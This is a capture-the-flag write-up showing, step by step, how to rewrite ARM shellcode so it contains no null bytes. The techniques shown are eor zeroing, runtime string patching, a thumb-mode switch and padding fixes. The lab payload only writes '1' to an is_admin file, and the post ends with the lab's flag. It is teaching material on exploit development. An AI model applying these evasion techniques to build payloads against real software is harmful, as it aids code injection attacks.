Get the executable here
- Our task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
- This time, it must not contain null bytes.
- Run a.out with path as a parameter to your shellcode.
- Do not reverse a.out
In the previous exercise, we had a working shellcode.
Firstly, lets try to feed that shellcode.bin
into our new a.out
.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ adb push a.out /data/local/tmp a.out: 1 file pushed. 0.0 MB/s (44620 bytes in 1.975s) ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ adb shell shell@hammerhead:/ $ su root@hammerhead:/ # cd /data/local/tmp root@hammerhead:/data/local/tmp # chmod +x a.out root@hammerhead:/data/local/tmp # ./a.out shellcode.bin executing shellcode [1] + Stopped (signal) ./a.out shellcode.bin
We get an error!
As the instruction suggests, our shellcode should not have any null bytes. Lets take a look at our current shellcode contents.
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ xxd shellcode.bin 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p.. 00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1..
We can see that there are lots of null bytes, 00
. In c
programming, null bytes terminate strings. I suspect a.out
to be using some kind of string functions to read our shellcode which then terminates the moment it sees a null byte.
I have edited our commands.sh
from the previous exercise, to include extracting out our shellcode.bin
and pushing it to our android device.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ vim commands.sh
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin $ndk/as shellcode.s -o shellcode.o $ndk/ld shellcode.o -o shellcode $ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin echo "==============OBJDUMP OUTPUT==========================" $ndk/objdump -d shellcode.o echo "==============XXD OUTPUT==========================" xxd shellcode.bin adb push ./shellcode.bin /data/local/tmp
Lets run command.sh
.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e28f0030 add r0, pc, #48 ; 0x30 4: e3a01001 mov r1, #1 8: e3a07008 mov r7, #8 c: ef000000 svc 0x00000000 10: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 00000014 <write>: 14: e1a00000 nop ; (mov r0, r0) 18: e28f1021 add r1, pc, #33 ; 0x21 1c: e3a02001 mov r2, #1 20: e3a07004 mov r7, #4 24: ef000000 svc 0x00000000 00000028 <close>: 28: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 2c: e3a07006 mov r7, #6 30: ef000000 svc 0x00000000 00000034 <branch>: 34: e12fff1e bx lr 00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031 ... ==============XXD OUTPUT========================== 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p.. 00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
We can see that all the svc #0
instructions produces a lot of null bytes, ef000000
. Let's use svc #0xffffff
instead to fill up the zeroes.
Now we get,
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e28f0030 add r0, pc, #48 ; 0x30 4: e3a01001 mov r1, #1 8: e3a07008 mov r7, #8 c: efffffff svc 0x00ffffff 10: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 00000014 <write>: 14: e1a00000 nop ; (mov r0, r0) 18: e28f1021 add r1, pc, #33 ; 0x21 1c: e3a02001 mov r2, #1 20: e3a07004 mov r7, #4 24: efffffff svc 0x00ffffff 00000028 <close>: 28: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 2c: e3a07006 mov r7, #6 30: efffffff svc 0x00ffffff 00000034 <branch>: 34: e12fff1e bx lr 00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031 ... ==============XXD OUTPUT========================== 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 ffff ffef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 ffff ffef 0400 9de4 0670 a0e3 .p...........p.. 00000030: ffff ffef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
If we take a look at our filename,
file_name: .asciz "is_admin"
it produces the null byte at offset 0x41
as seen below.
00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031
This is because, .asciz
is a null terminated string thus file_name: .asciz "is_admin"
produces "is_admin\0"
, which is null terminated.
We will need to put a dummy character, and replace it with a null byte at run time.
We can easily get a #0
by exor-ing 2 values as such.
eor r2, r2
Now r2
contains #0
.
Then we can define our file name to be
file_name: .ascii "is_adminX"
.
Note the use of .ascii
instead of .asciz
. Now our string has no null bytes, but we have a big X
that we need to replace. We can do that with the strb
instruction.
So the code would look like.
eor r2, r2 //R2 now is #0 adr r3, file_name strb r2, [r3, #8] //Replace the 9th character with a null file_name: .ascii "is_adminX"
Our overall code now looks like
.section .text .global _start _start: create: eor r2, r2 //R2 inow is #0 adr r0, filename strb r2, [r0, #8] mov r1, #1 //WRITE ONLY mov r7, #0x8 //CREAT SYS CALL svc #0xffffff //The file descriptor(fd) is returned into the r0 variable. //Store the file descriptor to the stack. //This way, we can reuse r0 for other functions and when the fd is needed, //we simply pop from the stack push {r0} write: mov r0, r0 //r0 already contains the file descriptor adr r1, toWrite //buffer mov r2, #1 //write only 1 byte mov r7, #0x04 //syscall for write svc #0xffffff close: pop {r0} //pop the file descriptor back mov r7, #0x06 //syscall for close svc #0xffffff branch: //end of this function, lets branch back bx lr filename: .ascii "is_adminX" toWrite: .ascii "1"
Lets take a look at the objdump now.
==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 4: e28f0034 add r0, pc, #52 ; 0x34 8: e5c02008 strb r2, [r0, #8] c: e3a01001 mov r1, #1 10: e3a07008 mov r7, #8 14: efffffff svc 0x00ffffff 18: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 0000001c <write>: 1c: e1a00000 nop ; (mov r0, r0) 20: e28f1021 add r1, pc, #33 ; 0x21 24: e3a02001 mov r2, #1 28: e3a07004 mov r7, #4 2c: efffffff svc 0x00ffffff 00000030 <close>: 30: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 34: e3a07006 mov r7, #6 38: efffffff svc 0x00ffffff 0000003c <branch>: 3c: e12fff1e bx lr 00000040 <filename>: 40: 615f7369 .word 0x615f7369 44: 6e696d64 .word 0x6e696d64 48: 58 .byte 0x58 00000049 <toWrite>: 49: 31 .byte 0x31 ... ==============XXD OUTPUT========================== 00000000: 0220 22e0 3400 8fe2 0820 c0e5 0110 a0e3 . ".4.... ...... 00000010: 0870 a0e3 ffff ffef 0400 2de5 0000 a0e1 .p........-..... 00000020: 2110 8fe2 0120 a0e3 0470 a0e3 ffff ffef !.... ...p...... 00000030: 0400 9de4 0670 a0e3 ffff ffef 1eff 2fe1 .....p......../. 00000040: 6973 5f61 646d 696e 5831 0000 is_adminX1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (76 bytes in 0.287s)
Our, add
, push
, and pop
commands still have null bytes. To make shellcoding easier, its better to use the thumb
mode. arm
instructions are 4 bytes
and thumb instructions are 2 to 4 bytes
long, therefore reducing the chance of us having a null byte.
To switch to the thumb instruction, we simply need to add #1
to our program counter and branch to it. Also do note that svc #0xffffff
is not supported in thumb. Simply do svc #1
and you would not see the null byte in the thumb instruction set anymore.
The final code would look something like...
.section .text .global _start _start: eor r2, r2 //R2 inow is #0 thumbMode: add r1, pc, #1 bx r1 create: .code 16 adr r0, filename strb r2, [r0, #8] mov r1, #1 //WRITE ONLY mov r7, #0x8 //CREAT SYS CALL svc #1 //The file descriptor(fd) is returned into the r0 variable. //Store the file descriptor to the stack. //This way, we can reuse r0 for other functions and when the fd is needed, //we simply pop from the stack push {r0} write: //mov r0, r0 ------- r0 already contains the file descriptor adr r1, toWrite //buffer mov r2, #1 //write only 1 byte mov r7, #0x04 //syscall for write svc #1 close: pop {r0} //pop the file descriptor back mov r7, #0x06 //syscall for close svc #1 branch: //end of this function, lets branch back bx lr .align 2 filename: .ascii "is_adminX" .align 2 toWrite: .ascii "1"
Lets compile it and view the bin.
──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 00000004 <thumbMode>: 4: e28f1001 add r1, pc, #1 8: e12fff11 bx r1 0000000c <create>: c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>) e: 7202 strb r2, [r0, #8] 10: 2101 movs r1, #1 12: 2708 movs r7, #8 14: df01 svc 1 16: b401 push {r0} 00000018 <write>: 18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>) 1a: 2201 movs r2, #1 1c: 2704 movs r7, #4 1e: df01 svc 1 00000020 <close>: 20: bc01 pop {r0} 22: 2706 movs r7, #6 24: df01 svc 1 00000026 <branch>: 26: 4770 bx lr 00000028 <filename>: 28: 615f7369 .word 0x615f7369 2c: 6e696d64 .word 0x6e696d64 30: 58 .byte 0x58 31: 00 .byte 0x00 32: 46c0 nop ; (mov r8, r8) 00000034 <toWrite>: 34: 31 .byte 0x31 35: 00 .byte 0x00 36: 46c0 nop ; (mov r8, r8) ==============XXD OUTPUT========================== 00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r 00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'.. 00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin 00000030: 5800 c046 3100 c046 X..F1..F ./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.303s)
Great we are so close. Look at offset 0x31
now, due to alignment padding with our .align 2
, the compiler has added an extra null byte. Lets simply remove this with adding our own extra character.
Change
.align 2 filename: .ascii "is_adminX"
to
.align 2 filename: .ascii "is_adminXX" //Added extra X
Now lets take a look at our output again.
┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 00000004 <thumbMode>: 4: e28f1001 add r1, pc, #1 8: e12fff11 bx r1 0000000c <create>: c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>) e: 7202 strb r2, [r0, #8] 10: 2101 movs r1, #1 12: 2708 movs r7, #8 14: df01 svc 1 16: b401 push {r0} 00000018 <write>: 18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>) 1a: 2201 movs r2, #1 1c: 2704 movs r7, #4 1e: df01 svc 1 00000020 <close>: 20: bc01 pop {r0} 22: 2706 movs r7, #6 24: df01 svc 1 00000026 <branch>: 26: 4770 bx lr 00000028 <filename>: 28: 615f7369 .word 0x615f7369 2c: 6e696d64 .word 0x6e696d64 30: 5858 .short 0x5858 32: 46c0 nop ; (mov r8, r8) 00000034 <toWrite>: 34: 31 .byte 0x31 35: 00 .byte 0x00 36: 46c0 nop ; (mov r8, r8) ==============XXD OUTPUT========================== 00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r 00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'.. 00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin 00000030: 5858 c046 3100 c046 XX.F1..F ./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.304s)
Great no more null bytes(ignore the end null bytes).
Lets head back to our android device and run our shellcode.bin
.
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin executing shellcode You did it! The flag is: "nununu"
Top comments (0)